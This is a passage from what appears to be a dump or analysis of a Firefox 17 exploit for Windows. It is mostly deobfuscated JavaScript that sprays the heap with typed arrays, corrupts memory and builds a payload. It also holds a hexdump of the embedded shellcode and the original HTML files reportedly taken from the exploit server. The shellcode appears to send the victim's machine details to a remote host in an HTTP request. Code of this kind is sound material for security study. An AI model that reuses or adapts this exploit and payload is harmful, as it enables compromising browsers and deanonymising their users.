  419. var var70 = string.charCodeAt\(0\);
  420. var var71 = string.charCodeAt\(1\);
  421. var var72 = \(var71 << 16\) + var70;
  422. return var72;
  423. function ag\(string\)
  424. if\(string.length%2**\!** =0\)
  425. string+="\u9090";
  426. var intArray= new Array\(\);
  427. for\(var i=0 ; i\*2 < string.length; i++ \)
  428. intArray\[i\]=af\(string\[i\*2\]+string\[i\*2+1\]\);
  429. return intArray;
  430. function y\(index\)
  431. var4\[index\]\[1\]= document.createElement\('span'\) ;
  432. function aa\(view,var63\)
  433. return view\[var63\];
  434. function i\(address,size,var50,view\)
  435. var var56 = size/2;
  436. var56 = var56\*0x10 +0x04;
  437. view\[0x400\]=var56; 
  438. view\[0x401\]=address; 
  439. return var4\[var50\]\[0\];
  440. function j\(memory,view\)
  441. var intArray=ag\(memory\);
  442. for\(var i=0 ; i < intArray.length ; i++\)
  443. view\[0x404+i\]=intArray\[i\]; 
  444. function g\(var50,view\)
  445. var k = h\(var50,view\);
  446. var j=0;
  447. if\( k < 0 \)
  448. return -1;
  449. view\[0x404+k\]=var13+0x3010;
  450. return 1;
  451. function h\(var50,view\)
  452. var address=0;
  453. var u=0;
  454. var memory="";
  455. var var55=0;
  456. for\( u =7; u >=4 ;u--\)
  457. address=view\[0x404+u\];
  458. if\( address > 0x000A0000 && address < 0x80000000 \) 
  459. memory = i\(address,0x48,var50,view\);
  460. var55=af\(memory\[0x14\]+memory\[0x15\]\);
  461. if\(var55==address\)
  462. return u;
  463. return -1;
  464. function ab\(address,view,var63\)
  465. view\[var63\]=address;
  466. function r\(var60\)
  467. var view = new Int32Array\(var2\[var60\],0,0x00040400\);
  468. view\[0x00100000/4-0x02\]=var5; 
  469. function z\(index,index2\)
  470. var4\[index\]\[1\].innerHTML;
  471. // ad\(\) is called through setTimeout
  472. function ad\(\)
  473. for\(var j=0;j<var1;j++\)
  474. delete var3\[j\]
  475. var3\[j\]= null;
  476. delete var2\[j\];
  477. var2\[j\] = null;
  478. if\(typeof var4\[j\] **\!** ="undefined"\)
  479. delete var4\[j\]; 
  480. var4\[j\] = null;
  481. delete var2;
  482. delete var3;
  483. delete var4; 
  484. var2=null;
  485. var3=null;
  486. var4=null; 
  487. window.addEventListener\("onload", u\(\),true\);
  488. // </script>
  489. /\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
  490. \* This a hexdump of the shellcode block as "var magneto" in f\(\) above**.**
  491. // 0000 60 fc e8 8a 00 00 00 60 89 e5 31 d2 64 8b 52 30 |\`......\`..1**.** d.R0|
  492. // 0010 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff 31 |**.** R..R..r\(..J&1.1|
  493. // 0020 c0 ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f0 52 |..<a|**.** , .......R|
  494. // 0030 57 8b 52 10 8b 42 3c 01 d0 8b 40 78 85 c0 74 4a |W**.** R..B<...@x..tJ|
  495. // 0040 01 d0 50 8b 48 18 8b 58 20 01 d3 e3 3c 49 8b 34 |..P**.** H..X ...<I**.** 4|
  496. // 0050 8b 01 d6 31 ff 31 c0 ac c1 cf 0d 01 c7 38 e0 75 |..**.** 1**.** 1.......8.u|
  497. // 0060 f4 03 7d f8 3b 7d 24 75 e2 58 8b 58 24 01 d3 66 |..\}**.** ;\}$u.X.X$..f|
  498. // 0070 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 |..K**.** X.........D$|
  499. // 0080 24 5b 5b 61 59 5a 51 ff e0 58 5f 5a 8b 12 eb 86 |$\[\[aYZQ..X\_Z....|
  500. // 0090 05 5d 81 bd e9 02 00 00 47 45 54 20 75 70 8d 85 |**.**\]......GET up..|
  501. // 00a0 d1 02 00 00 50 68 4c 77 26 07 ff d5 85 c0 74 5e |..**.**.PhLw&.....t^|
  502. // 00b0 8d 85 d8 02 00 00 50 68 4c 77 26 07 ff d5 85 c0 |....**.**.PhLw&.....|
  503. // 00c0 74 4c bb 90 01 00 00 29 dc 54 53 68 29 80 6b 00 |tL....**.**\).TSh\).k.|
  504. // 00d0 ff d5 01 dc 85 c0 75 36 50 50 50 50 40 50 40 50 |......u6PPPP@P@P|
  505. // 00e0 68 ea 0f df e0 ff d5 31 db f7 d3 39 c3 74 1f 89 |h......1..**.** 9.t..|
  506. // 00f0 c3 6a 10 8d b5 e1 02 00 00 56 53 68 99 a5 74 61 |**.** j.......VSh..ta|
  507. // 0100 ff d5 85 c0 74 1f fe 8d 89 00 00 00 75 e3 80 bd |....t......**.** u...|
  508. // 0110 4f 02 00 00 01 74 07 e8 3b 01 00 00 eb 05 e8 4d |O....t..;......M|
  509. // 0120 01 00 00 ff e7 b8 00 01 00 00 29 c4 89 e2 52 50 |..........\)..**.** RP|
  510. // 0130 52 68 b6 49 de 01 ff d5 5f 81 c4 00 01 00 00 85 |Rh**.** I....\_......**.** |
  511. // 0140 c0 0f 85 f2 00 00 00 57 e8 f9 00 00 00 5e 89 ca |......**.** W....**.** ^..|
  512. // 0150 8d bd e9 02 00 00 e8 eb 00 00 00 4f 83 fa 20 7c |..........**.** O.. ||
  513. // 0160 05 ba 20 00 00 00 89 d1 56 f3 a4 b9 0d 00 00 00 |.. ....**.** V.......|
  514. // 0170 8d b5 c4 02 00 00 f3 a4 89 bd 4b 02 00 00 5e 56 |..........K..**.** ^V|
  515. // 0180 68 a9 28 34 80 ff d5 85 c0 0f 84 aa 00 00 00 66 |h**.**\(4...........f|
  516. // 0190 8b 48 0a 66 83 f9 04 0f 82 9c 00 00 00 8d 40 0c |**.** H.f..........@.|
  517. // 01a0 8b 00 8b 08 8b 09 b8 00 01 00 00 50 89 e7 29 c4 |..........**.** P..\).|
  518. // 01b0 89 e6 57 56 51 51 68 48 72 d2 b8 ff d5 85 c0 81 |**.**.WVQQhHr.......|
  519. // 01c0 c4 04 01 00 00 0f b7 0f 83 f9 06 72 6c b9 06 00 |..........**.** rl...|
  520. // 01d0 00 00 b8 10 00 00 00 29 c4 89 e7 89 ca d1 e2 50 |......**.**\).......P|
  521. // 01e0 52 31 d2 8a 16 88 d0 24 f0 c0 e8 04 3c 09 77 04 |R1....**.** $....<.w.|
  522. // 01f0 04 30 eb 02 04 37 88 07 47 88 d0 24 0f 3c 09 77 |**.** 0...7..G..$.<**.** w|
  523. // 0200 04 04 30 eb 02 04 37 88 07 47 46 e2 d4 59 29 cf |..0..**.** 7..GF..Y\)**.** |
  524. // 0210 89 fe 58 01 c4 8b bd 4b 02 00 00 f3 a4 c6 85 4f |..X....K......**.** O|
  525. // 0220 02 00 00 01 e8 2e 00 00 00 31 c0 50 51 29 cf 4f |........**.** 1.PQ\).O|
  526. // 0230 57 53 68 c2 eb 38 5f ff d5 53 68 75 6e 4d 61 ff |WSh..8\_**.**.ShunMa.|
  527. // 0240 d5 e9 c8 fe ff ff 31 c9 f7 d1 31 c0 f2 ae f7 d1 |......1..**.** 1.....|
  528. // 0250 49 c3 00 00 00 00 00 8d bd e9 02 00 00 e8 e4 ff |I..............**.** |
  529. // 0260 ff ff 4f b9 4f 00 00 00 8d b5 75 02 00 00 f3 a4 |..O**.** O.....u....**.** |
  530. // 0270 8d bd e9 02 00 00 e8 cb ff ff ff c3 0d 0a 43 6f |..............Co|
  531. // 0280 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 |nnection: keep-a|
  532. // 0290 6c 69 76 65 0d 0a 41 63 63 65 70 74 3a 20 2a 2f |live**.**.Accept: \*/|
  533. // 02a0 2a 0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 |\* **.**.Accept-Encodi|
  534. // 02b0 6e 67 3a 20 67 7a 69 70 0d 0a 0d 0a 00 83 c7 0e |ng: gzip........|
  535. // 02c0 31 c9 f7 d1 31 c0 f3 ae 4f ff e7 0d 0a 43 6f 6f |1..**.** 1..**.** O....Coo|
  536. // 02d0 6b 69 65 3a 20 49 44 3d 77 73 32 5f 33 32 00 49 |kie: ID=ws2\_32**.** I|
  537. // 02e0 50 48 4c 50 41 50 49 00 02 00 00 50 41 de ca 36 |PHLPAPI....PA..6|
  538. // 02f0 47 45 54 20 2f 30 35 63 65 61 34 64 65 2d 39 35 |GET /05cea4de-95|
  539. // 0300 31 64 2d 34 30 33 37 2d 62 66 38 66 2d 66 36 39 |1d-4037-bf8f-f69|
  540. // 0310 30 35 35 62 32 37 39 62 62 20 48 54 54 50 2f 31 |055b279bb HTTP/1|
  541. // 0320 2e 31 0d 0a 48 6f 73 74 3a 20 00 00 00 00 00 00 |**.** 1..Host: ......|
  542. // 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
  543. // 03b0 00 00 00 00 00 00 00 00 00 00 00 90 |............|
  544. // 03bc
  545. /\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*
  546. \* The original files as obtained from the exploit server follow:
  547. //// "content\_2.html"
  548. <html><body></body></html><script>var y="**?****?**??**?** ",url=window.location.href;if\(0>url.indexOf\(y\)\)\{var iframe=document.createElement\("iframe"\);iframe.src="content\_3.html";document.body.appendChild\(iframe\)\}else parent**.** w\(\);function df\(\)\{return parent**.** df\(\)\};</script>
  549. //// "content\_3.html"
  550. <script>var y="**?****?****?**??",z="",z=z+"<body",z=z+">",z=z+"<img",z=z+" height='1' width='1' src='error.html'",z=z+' onerror="javascript: ',z=z+\("window.location.href='content\_2.html"+y+"';\" "\),z=z+">",z=z+"</body",z=z+">",flag=**\!** 1,var83=0;
  551. function b\(\)\{for\(var e=Array\(1024\),d=Array\(1024\),c=0;1024>c;c++\)e\[c\]=new ArrayBuffer\(180\);for\(c=0;1024>c;c++\)d\[c\]=new Int32Array\(e\[c\],0,45\),d\[c\]\[9\]=var83;return d\}function a\(\)\{**\!** 1==flag&&\(flag=\!0,window.stop\(\)\);window.stop\(\);b\(\);window.parent.frames\[0\].frameElement.ownerDocument.write\(z\);b\(\)\}var83=parent**.** df\(\);0\!=var83&&document.addEventListener\("readystatechange",a,**\!** 1\);
  552. </script>
  553. //// main exploit
  554. <html>
  555. <body>
  556. <iframe frameborder=0 border=0 height=1 width=1 id="iframe"> </iframe>
  557. </body>
  558. </html>
  559. <script>
  560. var var1=0xB0;
  561. var var2 = new Array\(var1\); 
  562. var var3 = new Array\(var1\); 
  563. var var4 = new Array\(var1\);
  564. var var5=0xFF004; 
  565. var var6=0x3FC01; 
  566. var var7=0x60000000; 
  567. var var8=0x18000000; 
  568. var var9=1;
  569. var var10 = 0x12000000;
  570. var var11 = 0;
  571. var var12=0; 
  572. var var13 =0; 
  573. function df\(\)
  574. if\(var12==0\)
  575. return 0x00000000;
  576. var var14 = var10 + 0x00010000 \* var11 + 0x0000002B;
  577. if\( var9 == 1 || var9 == 2\)
  578. return \( var14 - var12\);
  579. return 0x00000000;
  580. function b\(\)
  581. var version = al\(\);
  582. if\(version <17\) 
  583. window.location.href="content\_1.html";
  584. if\( version >=17 && version <18 \)
  585. var12 = 0xE8;
  586. return ;
  587. function c\(\)
  588. var iframe=document.getElementById\("iframe"\);
  589. iframe.src="content\_2.html";
  590. function d\(\)
  591. for\(var j=0;j<var1;j++\)
  592. if\( j<var1/8 || j==var1-1\)
  593. var tabb = new Array\(0x1ED00\);
  594. var4\[j\]=tabb;
  595. for\(i=0;i<0x1ED00;i++\)
  596. var4\[j\]\[i\]=0x11559944;
  597. var2\[j\]= new ArrayBuffer\(var5\); 
  598. for\(var j=0;j<var1;j++\)
  599. var3\[j\]= new Int32Array\(var2\[j\],0,var6\);
  600. var3\[j\]\[0\]=0x11336688; 
  601. for\(var i=1;i<16;i++\) 
  602. var3\[j\]\[0x4000\*i\] = 0x11446688; 
  603. for\(var j=0;j<var1;j++\)
  604. if\(typeof var4\[j\] **\!** ="undefined"\)
  605. var4\[j\]\[0\]=0x22556611; 
  606. function e\(view\)
  607. var i=0;
  608. for\(i=0;i<0x400;i++\)
  609. view\[i\] = var13+0x1010 ; 
  610. view\[0x0\]=var13+0x1010; 
  611. view\[0x44\]=0x0; 
  612. view\[0x45\]=0x0; 
  613. view\[0x400-4\]=var13+0x1010; 
  614. view\[0x400\]=0x00004004; 
  615. view\[0x401\]=0x7FFE0300; 
  616. function f\(var15,view,var16\)
  617. var magneto = "";
  618. var magneto = \("\ufc60\u8ae8"+"\u0000\u6000"+"\ue589\ud231"+"\u8b64\u3052"+"\u528b\u8b0c"+"\u1452\u728b"+"\u0f28\u4ab7"+"\u3126\u31ff"+"\uacc0\u613c"+"\u027c\u202c"+"\ucfc1\u010d"+"\ue2c7\u52f0"+"\u8b57\u1052"+"\u428b\u013c"+"\u8bd0\u7840"+"\uc085\u4a74"+"\ud001\u8b50"+"\u1848\u588b"+"\u0120\ue3d3"+"\u493c\u348b"+"\u018b\u31d6"+"\u31ff\uacc0"+"\ucfc1\u010d"+"\u38c7\u75e0"+"\u03f4\uf87d"+"\u7d3b\u7524"+"\u58e2\u588b"+"\u0124\u66d3"+"\u0c8b\u8b4b"+"\u1c58\ud301"+"\u048b\u018b"+"\u89d0\u2444"+"\u5b24\u615b"+"\u5a59\uff51"+"\u58e0\u5a5f"+"\u128b\u86eb"+"\u5d05\ubd81"+"\u02e9\u0000"+"\u4547\u2054"+"\u7075\u858d"+"\u02d1\u0000"+"\u6850\u774c"+"\u0726\ud5ff"+"\uc085\u5e74"+"\u858d\u02d8"+"\u0000\u6850"+"\u774c\u0726"+"\ud5ff\uc085"+"\u4c74\u90bb"+"\u0001\u2900"+"\u54dc\u6853"+"\u8029\u006b"+"\ud5ff\udc01"+"\uc085\u3675"+"\u5050\u5050"+"\u5040\u5040"+"\uea68\udf0f"+"\uffe0\u31d5"+"\uf7db\u39d3"+"\u74c3\u891f"+"\u6ac3\u8d10"+"\ue1b5\u0002"+"\u5600\u6853"+"\ua599\u6174"+"\ud5ff\uc085"+"\u1f74\u8dfe"+"\u0089\u0000"+"\ue375\ubd80"+"\u024f\u0000"+"\u7401\ue807"+"\u013b\u0000"+"\u05eb\u4de8"+"\u0001\uff00"+"\ub8e7\u0100"+"\u0000\uc429"+"\ue289\u5052"+"\u6852\u49b6"+"\u01de\ud5ff"+"\u815f\u00c4"+"\u0001\u8500"+"\u0fc0\uf285"+"\u0000\u5700"+"\uf9e8\u0000"+"\u5e00\uca89"+"\ubd8d\u02e9"+"\u0000\uebe8"+"\u0000\u4f00"+"\ufa83\u7c20"+"\uba05\u0020"+"\u0000\ud189"+"\uf356\ub9a4"+"\u000d\u0000"+"\ub58d\u02c4"+"\u0000\ua4f3"+"\ubd89\u024b"+"\u0000\u565e"+"\ua968\u3428"+"\uff80\u85d5"+"\u0fc0\uaa84"+"\u0000\u6600"+"\u488b\u660a"+"\uf983\u0f04"+"\u9c82\u0000"+"\u8d00\u0c40"+"\u008b\u088b"+"\u098b\u00b8"+"\u0001\u5000"+"\ue789\uc429"+"\ue689\u5657"+"\u5151\u4868"+"\ud272\uffb8"+"\u85d5\u81c0"+"\u04c4\u0001"+"\u0f00\u0fb7"+"\uf983\u7206"+"\ub96c\u0006"+"\u0000\u10b8"+"\u0000\u2900"+"\u89c4\u89e7"+"\ud1ca\u50e2"+"\u3152\u8ad2"+"\u8816\u24d0"+"\uc0f0\u04e8"+"\u093c\u0477"+"\u3004\u02eb"+"\u3704\u0788"+"\u8847\u24d0"+"\u3c0f\u7709"+"\u0404\ueb30"+"\u0402\u8837"+"\u4707\ue246"+"\u59d4\ucf29"+"\ufe89\u0158"+"\u8bc4\u4bbd"+"\u0002\uf300"+"\uc6a4\u4f85"+"\u0002\u0100"+"\u2ee8\u0000"+"\u3100\u50c0"+"\u2951\u4fcf"+"\u5357\uc268"+"\u38eb\uff5f"+"\u53d5\u7568"+"\u4d6e\uff61"+"\ue9d5\ufec8"+"\uffff\uc931"+"\ud1f7\uc031"+"\uaef2\ud1f7"+"\uc349\u0000"+"\u0000\u8d00"+"\ue9bd\u0002"+"\ue800\uffe4"+"\uffff\ub94f"+"\u004f\u0000"+"\ub58d\u0275"+"\u0000\ua4f3"+"\ubd8d\u02e9"+"\u0000\ucbe8"+"\uffff\uc3ff"+"\u0a0d\u6f43"+"\u6e6e\u6365"+"\u6974\u6e6f"+"\u203a\u656b"+"\u7065\u612d"+"\u696c\u6576"+"\u0a0d\u6341"+"\u6563\u7470"+"\u203a\u2f2a"+"\u0d2a\u410a"+"\u6363\u7065"+"\u2d74\u6e45"+"\u6f63\u6964"+"\u676e\u203a"+"\u7a67\u7069"+"\u0a0d\u0a0d"+"\u8300\u0ec7"+"\uc931\ud1f7"+"\uc031\uaef3"+"\uff4f\u0de7"+"\u430a\u6f6f"+"\u696b\u3a65"+"\u4920\u3d44"+"\u7377\u5f32"+"\u3233\u4900"+"\u4850\u504c"+"\u5041\u0049"+"\u0002\u5000"+"\ude41\u36ca"+"\u4547\u2054"+"\u302f\u6335"+"\u6165\u6434"+"\u2d65\u3539"+"\u6431\u342d"+"\u3330\u2d37"+"\u6662\u6638"+"\u662d\u3936"+"\u3530\u6235"+"\u3732\u6239"+"\u2062\u5448"+"\u5054\u312f"+"\u312e\u0a0d"+"\u6f48\u7473"+"\u203a\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u9000"+""\);
  619. var var29 = magneto;
  620. var var17 = "\u9060";
  621. var var18 = "\u9061";
  622. var var19 = "\uC481\u0000\u0008" ; 
  623. var var20 = "\u2589\u3000"+String.fromCharCode\(\(var13 >> 16\) & 0x0000FFFF\); 
  624. var var21="\u258B\u3000"+String.fromCharCode\(\(var13 >> 16\) & 0x0000FFFF\);
  625. var var22 = "\uE589"; 
  626. var var23 ="\uC3C9";
  627. var var24 = "\uE889"; 
  628. var24 += "\u608D\u90C0"; 
  629. var var25 = var10 + 0x00010000 \* var11 + 0x00000030 + 0x00100000;
  630. var var26 = var25 + var16\*4
  631. var var27 =""
  632. var27 += "\uB890\u2020\u2020"; 
  633. var27 += "\uA390"+ae\(var26+0x00\);
  634. var27 += "\uA390"+ae\(var26+0x04\);
  635. var27 += "\uA390"+ae\(var26+0x08\);
  636. var27 += "\uA390"+ae\(var26+0x0C\);
  637. var var28 = var17;
  638. var28 += var20;
  639. var28 += var19;
  640. var28 += var22;
  641. var28 += var27;
  642. var28 += var29;
  643. var28 += var21;
  644. var28 += var18;
  645. var28 += var23;
  646. var var29Array = new Array\(\);
  647. var29Array=ag\(var28\);
  648. var var29Ad = var13+0x5010;
  649. var i=0;
  650. var j=0;
  651. var var30=var13+0x4048;
  652. var var31 = new Array\(\);
  653. var31\[0\]=var30; 
  654. var31\[1\]=var30; 
  655. var31\[2\]=var30; 
  656. var31\[3\]=var15\[1\]; 
  657. var31\[4\]=var29Ad; 
  658. var31\[5\]=0xFFFFFFFF; 
  659. var31\[6\]=var13+0x4044; 
  660. var31\[7\]=var13+0x4040; 
  661. var31\[8\]=0x00000040; 
  662. var31\[9\]=var13+0x4048; 
  663. var31\[10\]=0x00040000; 
  664. var31\[11\]=var29Ad; 
  665. var31\[12\]=var13+0x301C; 
  666. for\(var i=0 ; i < 0x140 ; i++\)
  667. var31\[i+15\]=var15\[0\]; 
  668. var var32 = 0x3F8; 
  669. view\[0x800+0+var32\]=var13+0x4018; 
  670. view\[0x800+1+var32\]=var13+0x4018; 
  671. for\(var i=2 ; i < var31.length ; i++\)
  672. view\[0x800+i+var32\]= 0x41414141; 
  673. for\(var i=0 ; i < var31.length ; i++\)
  674. view\[0xC02+i+var32\]= var31\[i\];
  675. for\(var i=0 ; i < var29Array.length ; i++\)
  676. view\[0x1000 + i+var32\] = var29Array\[i\];
  677. function g\(var50,view\)
  678. var k = h\(var50,view\);
  679. var j=0;
  680. if\( k < 0 \)
  681. return -1;
  682. view\[0x404+k\]=var13+0x3010;
  683. return 1;
  684. function h\(var50,view\)
  685. var address=0;
  686. var u=0;
  687. var memory="";
  688. var var55=0;
  689. for\( u =7; u >=4 ;u--\)
  690. address=view\[0x404+u\];
  691. if\( address > 0x000A0000 && address < 0x80000000 \) 
  692. memory = i\(address,0x48,var50,view\);
  693. var55=af\(memory\[0x14\]+memory\[0x15\]\);
  694. if\(var55==address\)
  695. return u;
  696. return -1;
  697. function i\(address,size,var50,view\)
  698. var var56 = size/2;
  699. var56 = var56\*0x10 +0x04;
  700. view\[0x400\]=var56; 
  701. view\[0x401\]=address; 
  702. return var4\[var50\]\[0\];
  703. function j\(memory,view\)
  704. var intArray=ag\(memory\);
  705. for\(var i=0 ; i < intArray.length ; i++\)
  706. view\[0x404+i\]=intArray\[i\]; 
  707. function k\(\)
  708. for\(var j=0;j<var1;j++\)
  709. if\(var2\[j\].byteLength**\!** =var5\)
  710. return j;
  711. return -1;
  712. function l\(view,var58\)
  713. view\[var58\] = var13 + 0x1030; 
  714. view\[var58+1\] = 0xFFFFFF85; 
  715. function m\(view,var58\)
  716. view\[var58\]=0x00000000; 
  717. for\(var j=0;j<var1;j++\)
  718. if\(typeof var4\[j\] **\!** ="undefined"\)
  719. if\(var4\[j\]\[0\]**\!** =0x22556611\) 
  720. return j;
  721. return -1
  722. function n\(view,firstvar58\)
  723. var var57 = var10 + 0x00100000 + 0x00010000 \* var11; 
  724. var var58=0;
  725. for\(var i=0;i<200;i++\)
  726. if\(view\[var58\] **\!** = 0x11336688\) 
  727. if\(view\[var58\] == 0x22556611 \) 
  728. return var58;
  729. return -1;
  730. if\(var58==0\)
  731. var58 = firstvar58;
  732. \}else\{
  733. var var59=view\[var58-0x0C\];
  734. var58 = \(var59 - var57\)/4;
  735. return -1;
  736. function o\(var60\)
  737. var view = new Int32Array\(var2\[var60\],0,0x00040400\);
  738. var var59 = view\[0x00100000/4-0x0C\];
  739. var var57 = var10 + 0x00100000 + 0x00010000 \* var11; 
  740. return \(\(var59 - var57\)/4\);
  741. function p\(\)
  742. for\(var j=0;j<var1;j++\)
  743. for\(var i=1;i<16;i++\)
  744. if\(var3\[j\]\[i\*0x4000-0x02\]==0x01000000\)
  745. return -i;
  746. return 0;
  747. function q\(var60\)
  748. var view = new Int32Array\(var2\[var60\],0,0x00040400\);
  749. view\[0x00100000/4-0x02\]=var7; 
  750. if\(var2\[var60+1\].byteLength==var7\)
  751. return var60+1;
  752. return -1;
  753. function r\(var60\)
  754. var view = new Int32Array\(var2\[var60\],0,0x00040400\);
  755. view\[0x00100000/4-0x02\]=var5; 
  756. function t\(\)
  757. if\(typeof sessionStorage.tempStor **\!** ="undefined"\)
  758. return false;
  759. sessionStorage.tempStor="";
  760. return true;
  761. function u\(\)
  762. if\( t\(\) == true \)
  763. var9 = 1; 
  764. \}else\{
  765. return ;
  766. function v\(\)
  767. if\(k\(\) == -1\)
  768. var11 = p\(\);
  769. var9 = 2; 
  770. \}else\{
  771. function w\(\)
  772. if\(var9==1\)
  773. function x\(\)
  774. var var60 = k\(\);
  775. if\(var60==-1\)
  776. return ; 
  777. var nextvar60 = q\(var60\);
  778. if\(nextvar60==-1\)
  779. return ; 
  780. var var61 = o\(var60\);
  781. var var62 = new Int32Array\(var2\[nextvar60\],0,var8\);
  782. var var58 = n\(var62,var61\);
  783. if\(var58==-1\)
  784. return ; 
  785. var var50 = m\(var62,var58\);
  786. var13 = var10 + 0x00100000 + 0x00010000 \* var11; 
  787. e\(var62\);
  788. l\(var62,var58\);
  789. var var64 = var4\[var50\]\[0\];
  790. ac\(var64,var50,var62,var58,var60\);
  791. function y\(index\)
  792. var4\[index\]\[1\]= document.createElement\('span'\) ;
  793. function z\(index,index2\)
  794. var4\[index\]\[1\].innerHTML;
  795. function aa\(view,var63\)
  796. return view\[var63\];
  797. function ab\(address,view,var63\)
  798. view\[var63\]=address;
  799. function ac\(var64,var50,var62,var58,var60\)
  800. var var15=ah\(var64\);
  801. f\(var15,var62,var58\);
  802. y\(var50\);
  803. var var66 = aa\(var62,var58+2\);
  804. var var67 = i\(var66,0x40,var50,var62\) ;
  805. j\(var67,var62\);
  806. g\(var50,var62\);
  807. ab\(var13+0x1040 ,var62,var58+2\);
  808. r\(var60\)
  809. setTimeout\(ad,1000\);
  810. z\(var50\);
  811. function ad\(\)
  812. for\(var j=0;j<var1;j++\)
  813. delete var3\[j\]
  814. var3\[j\]= null;
  815. delete var2\[j\];
  816. var2\[j\] = null;
  817. if\(typeof var4\[j\] **\!** ="undefined"\)
  818. delete var4\[j\]; 
  819. var4\[j\] = null;
  820. delete var2;
  821. delete var3;
  822. delete var4; 
  823. var2=null;
  824. var3=null;
  825. var4=null; 
  826. function ae\(int32\)
  827. var var68 = String.fromCharCode\(\(int32\)& 0x0000FFFF\);
  828. var var69 = String.fromCharCode\(\(int32 >> 16\) & 0x0000FFFF\);
  829. return var68+var69;
  830. function af\(string\)
  831. var var70 = string.charCodeAt\(0\);
  832. var var71 = string.charCodeAt\(1\);
  833. var var72 = \(var71 << 16\) + var70;
  834. return var72;
  835. function ag\(string\)
  836. if\(string.length%2**\!** =0\)
  837. string+="\u9090";
  838. var intArray= new Array\(\);
  839. for\(var i=0 ; i\*2 < string.length; i++ \)
  840. intArray\[i\]=af\(string\[i\*2\]+string\[i\*2+1\]\);
  841. return intArray;
  842. function ah\(var73\)
  843. var var74 = var73.substring\(0,2\);
  844. var var70 = var74.charCodeAt\(0\);
  845. var var71 = var74.charCodeAt\(1\);
  846. var var75 = \(var71 << 16\) + var70;
  847. if \(var75 == 0\)
  848. var var76 = var73.substring\(32, 34\);
  849. var var70 = var76.charCodeAt\(0\);
  850. var var71 = var76.charCodeAt\(1\);
  851. var75 = \(var71 << 16\) + var70;
  852. var var15 = am\(var75\);
  853. if \(var15 == -1\)
  854. return;
  855. return var15
  856. function aj\(version\)
  857. var i = navigator.userAgent.indexOf\("Windows NT"\);
  858. if \(i **\!** = -1\)
  859. return true;
  860. return false;
  861. function ak\(\)
  862. var ua = navigator.userAgent;
  863. var browser = ua.substring\(0, ua.lastIndexOf\("/"\)\);
  864. browser = browser.substring\(browser.lastIndexOf\(" "\) + 1\);
  865. if \(browser **\!** = "Firefox"\)
  866. return -1;
  867. var version = ua.substring\(ua.lastIndexOf\("/"\) + 1\);
  868. version = parseInt\(version.substring\(0, version.lastIndexOf\("**.** "\)\)\);
  869. return version;
  870. function al\(\)
  871. version = ak\(\);
  872. if \(**\!** aj\(version\)\)
  873. return -1;
  874. return version;
  875. function am\(var77\)
  876. var var15 = new Array\(2\);
  877. if \(var77 % 0x10000 == 0xE510\) 
  878. var78 = var77 - 0xE510;
  879. var15\[0\] = var78 + 0xE8AE; 
  880. var15\[1\] = var78 + 0xD6EE; 
  881. else if \(var77 % 0x10000 == 0x9A90\) 
  882. var78 = var77 - 0x69A90;
  883. var15\[0\] = var78 + 0x6A063; 
  884. var15\[1\] = var78 + 0x68968; 
  885. else if \(var77 % 0x10000 == 0x5E70\) 
  886. var78 = var77 - 0x65E70;
  887. var15\[0\] = var78 + 0x66413; 
  888. var15\[1\] = var78 + 0x64D34; 
  889. else if \(var77 % 0x10000 == 0x35F3\) 
  890. var78 = var77 - 0x335F3;
  891. var15\[0\] = var78 + 0x4DE13; 
  892. var15\[1\] = var78 + 0x49AB8; 
  893. else if \(var77 % 0x10000 == 0x5CA0\) 
  894. var78 = var77 - 0x65CA0;
  895. var15\[0\] = var78 + 0x66253; 
  896. var15\[1\] = var78 + 0x64B84; 
  897. else if \(var77 % 0x10000 == 0x5CD0\) 
  898. var78 = var77 - 0x65CD0;
  899. var15\[0\] = var78 + 0x662A3; 
  900. var15\[1\] = var78 + 0x64BA4; 
  901. else if \(var77 % 0x10000 == 0x6190\) 
  902. var78 = var77 - 0x46190;
  903. var15\[0\] = var78 + 0x467D3; 
  904. var15\[1\] = var78 + 0x45000; 
  905. else if \(var77 % 0x10000 == 0x9CB9\) 
  906. var78 = var77 - 0x29CB9;
  907. var15\[0\] = var78 + 0x29B83; 
  908. var15\[1\] = var78 + 0xFFC8; 
  909. else if \(var77 % 0x10000 == 0x9CE9\) 
  910. var78 = var77 - 0x29CE9;
  911. var15\[0\] = var78 + 0x29BB3; 
  912. var15\[1\] = var78 + 0xFFD8; 
  913. else if \(var77 % 0x10000 == 0x70B0\) 
  914. var78 = var77 - 0x470B0;
  915. var15\[0\] = var78 + 0x47733; 
  916. var15\[1\] = var78 + 0x45F18; 
  917. else if \(var77 % 0x10000 == 0x7090\) 
  918. var78 = var77 - 0x47090;
  919. var15\[0\] = var78 + 0x476B3; 
  920. var15\[1\] = var78 + 0x45F18; 
  921. else if \(var77 % 0x10000 == 0x9E49\) 
  922. var78 = var77 - 0x29E49;
  923. var15\[0\] = var78 + 0x29D13; 
